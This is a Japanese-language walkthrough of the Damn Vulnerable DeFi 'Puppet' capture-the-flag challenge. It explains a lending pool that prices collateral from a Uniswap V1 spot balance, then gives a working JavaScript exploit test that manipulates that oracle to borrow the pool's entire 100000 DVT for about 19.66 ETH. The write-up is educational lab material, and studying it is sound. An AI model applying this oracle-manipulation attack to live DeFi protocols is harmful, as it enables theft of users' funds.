ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。
問題リンク:https://www.damnvulnerabledefi.xyz/challenges/8.html
問題の説明:
DVT トークンの貸出サービスを提供する貸出プールがありますが、担保として価値の 2 倍の ETH を預ける必要があります。現在、このプールには 100000 DVT があります。
UniswapV1 には ETH-DVT の取引ペアがあり、10 ETH と 10 DVT があります。
現在、あなたは 25 ETH と 1000 DVT を持っています。あなたは貸出プール内のすべてのトークンを盗む必要があります。
貸出契約 PuppetPool.sol
が提供する貸出機能は以下の通りです。
// DVT を借りるが、前提として同等の ETH の 2 倍の価値を預ける必要がある
function borrow(uint256 borrowAmount) public payable nonReentrant {
// 預ける必要のある ETH の数量を計算
uint256 depositRequired = calculateDepositRequired(borrowAmount);
require(msg.value >= depositRequired, "担保が不十分です");
// 多く預けた ETH を返還
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
// msg.sender が預けた ETH の数量を保存
deposits[msg.sender] = deposits[msg.sender] + depositRequired;
// DVT トークンを msg.sender に転送
require(token.transfer(msg.sender, borrowAmount), "転送に失敗しました");
emit Borrowed(msg.sender, depositRequired, borrowAmount);
}
このメソッドは主に以下のことを行います:
- 借りる
DVT
の数量に基づいて、預ける必要のあるETH
の数量depositRequired
を計算します。 - 呼び出し時に預けた
ETH
の数量がdepositRequired
より大きいことを確認し、もし多く預けた場合はその差額を返還します。 - 預けた
ETH
の数量を保存し、DVT
を借り出します。
預ける必要のある ETH
の数量は、uniswapv1 のペア契約 ETH-DVT
の流動性に基づいて計算されます。ここでは、uniswapv1
の契約とそのメソッドについて簡単に紹介します。
2 種類の契約があります:
-
Factory
工場契約は、ペア契約を作成し、デプロイするために使用されます。コアメソッドはcreateExchange(token: address): address
で、ETH
とtoken
のペア契約を作成し、デプロイし、ペア契約のアドレスを返します。 -
Exchange
取引契約、またはペア契約です。v1 バージョンでは、ETH
とToken
の取引ペアのみが存在し、Token
とToken
の取引ペアは存在しません。
ファクトリー契約を通じてペア契約が作成されると、メソッド addLiquidity
を呼び出して流動性を追加できます。つまり、Token
と ETH
をペア契約に預け入れ、流動性提供者は流動性を提供する証明として LP token
を取得します。
@payable
addLiquidity(
min_liquidity: uint256,
max_tokens: uint256,
deadline: uint256
): uint256
このメソッドを呼び出す際には、パラメータに加えて ETH
を送信する必要があります。パラメータの詳細は以下の通りです:
min_liquidity
流動性提供者が期待する最小のLP token
数量で、最終的に得られる数量がこの値より少ない場合、取引はロールバックされます。max_tokens
流動性提供者が提供したい最大トークン数量で、計算されたトークン数量がこの値を超える場合、取引はロールバックされます。deadline
流動性提供の締切時間です。
ペア契約に流動性があると、他のトレーダーは取引を行うことができます。中央集権型取引所とは異なり、取引価格はオーダーブックの最新の取引価格によって決まります。uniswap
の取引価格は恒常的な積の公式に基づいて計算されます。
ここで と はペアの 2 つの通貨の準備量です。
ペア契約 ETH-USDT
があり、ETH
に 10 個が として、USDT
に 100 個が として存在すると仮定します。したがって
この時、 個の ETH
を販売すると、得られる USDT
の数量は となります。つまり、プール内の ETH
の数量は に変わり、恒常的な積の公式に基づいて:
同様に、 個の USDT
を販売すると、得られる ETH
の数量は となります。
これは手数料がない場合の計算公式ですが、通常は 0.3% の手数料がかかり、流動性提供者が保有する LP token
の割合に基づいて分配されます。
手数料が存在する場合、 個の ETH
を販売すると、実際に販売される ETH
の数量は となります。uniswap
は計算を簡単にするために、分子と分母を同時に 1000 倍します。
uniswap
の v1 バージョンでは、価格を照会するためのいくつかのメソッドが提供されています。
getEthToTokenInputPrice(eth_sold: uint256): uint256
売却するETH
の数量を入力し、得られるtoken
の数量を返します。getTokenToEthOutputPrice(eth_bought: uint256): uint256
購入するETH
の数量を入力し、必要なtoken
の数量を返します。getEthToTokenOutputPrice(tokens_bought: uint256): uint256
購入するtoken
の数量を入力し、必要なETH
の数量を返します。getTokenToEthInputPrice(tokens_sold: uint256): uint256
売却するtoken
の数量を入力し、得られるETH
の数量を返します。
交換に関連するメソッドは以下の通りです:
ethToTokenSwapInput(min_tokens: uint256, deadline: uint256): uint256
ETH
を使ってtoken
を交換します:min_tokens
は期待する最小のtoken
数量です。このメソッドを呼び出す際に送信されるETH
の数量が期待するtoken
数量を交換するのに不十分な場合、取引は失敗します。十分であれば、全額交換して取引を実行します。関数の戻り値は交換可能なtoken
の数量です。ethToTokenSwapOutput(tokens_bought: uint256, deadline: uint256): uint256
ETH
を使ってtoken
を交換します:このメソッドを呼び出す際に送信するETH
はtokens_bought
数量のtoken
を交換するためのものです。送信するETH
の数量が多すぎる場合、余分な数量が返還されます。関数の戻り値は実際に販売されたETH
の数量です。tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256, deadline: uint256): uint256
token
を使ってETH
を交換します。tokenToEthSwapOutput(eth_bought: uint256, max_tokens: uint256, deadline: uint256): uint256
token
を使ってETH
を交換します。
問題に戻ると、貸出契約 PuppetPool.sol
で預ける必要のある ETH
の数量を計算するメソッド calculateDepositRequired
は以下の通りです。
// 預ける必要のある eth の数量を計算
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
// 担保の価値 = 借りた数量 * 価格 * 2
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}
// 各トークンの価値がどれだけの ETH に相当するかを計算
function _computeOraclePrice() private view returns (uint256) {
// Uniswap ペアに基づいてトークンの価格を wei で計算
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
コードからわかるように、token
の価値は uniswap
のペアの 2 つの通貨の準備量から来ています。
仮にペア契約 ETH-UNI
があり、100 個の ETH と 10 個の UNI があるとします。すると 1 UNI の価値は 10 ETH に相当し、各 token
の価値は となります。もし分母の値を増やすか分子の値を減らすことができれば、各 token
の価値は低下します。
条件として、ハッカーは 25 個の ETH と 1000 DVT を持っているため、ハッカーが持っている 1000 DVT を使って ETH に交換することができます。この行動は分母の値を大幅に増加させ、分子の値を減少させます。つまり、DVT の価値は非常に低くなることを意味します。
その後、借り入れを行うと、必要な担保の ETH はごく少量で済むことになります。最後に、再び uniswap
から DVT を交換します。
it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallUniswap = this.uniswapExchange.connect(attacker)
// uniswap に attacker の DVT トークンを管理させるための承認
await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)
// 初期残高
// attacker: ETH 残高 => 25
// attacker: DVT 残高 => 1000
// uniswap: ETH 残高 => 10
// uniswap: DVT 残高 => 10
// uniswap で DVT を使って ETH を交換
await attackerCallUniswap.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('1'),
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// attacker: ETH 残高 => 34.900571637914797588
// attacker: DVT 残高 => 0
// uniswap: ETH 残高 => 0.099304865938430984
// uniswap: DVT 残高 => 1010
// 必要な担保の ETH 数量を計算
const collateralCount = await attackerCallLendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)
// DVT を借りる
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
value: collateralCount
})
// collateralCount = 19.6643298887982
// attacker: ETH 残高 => 15.236140794921379778
// attacker: DVT 残高 => 100000.0
// uniswap: ETH 残高 => 0.099304865938430984
// uniswap: DVT 残高 => 1010.0
// uniswap で ATTACKER_INITIAL_TOKEN_BALANCE 数量の DVT を交換するのに必要な ETH を計算
const payEthCount = await attackerCallUniswap.getEthToTokenOutputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
})
// payEthCount = 9.960367696933900101
// DVT を交換
await attackerCallUniswap.ethToTokenSwapOutput(
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 2,
{
value: payEthCount,
gasLimit: 1e6
}
)
// attacker: ETH 残高 => 5.275716174066780228
// attacker: DVT 残高 => 101000.0
// uniswap: ETH 残高 => 10.059672562872331085
// uniswap: DVT 残高 => 10.0
})
攻撃者は uniswap
を利用して価格を操作し、19.6643298887982 ETH を担保として使用して 100000 DVT を成功裏に借り出しました。しかし、直接借りる場合は、支払うコストは 200000 ETH となります。
最後に yarn puppet
を実行してテストが通過しました!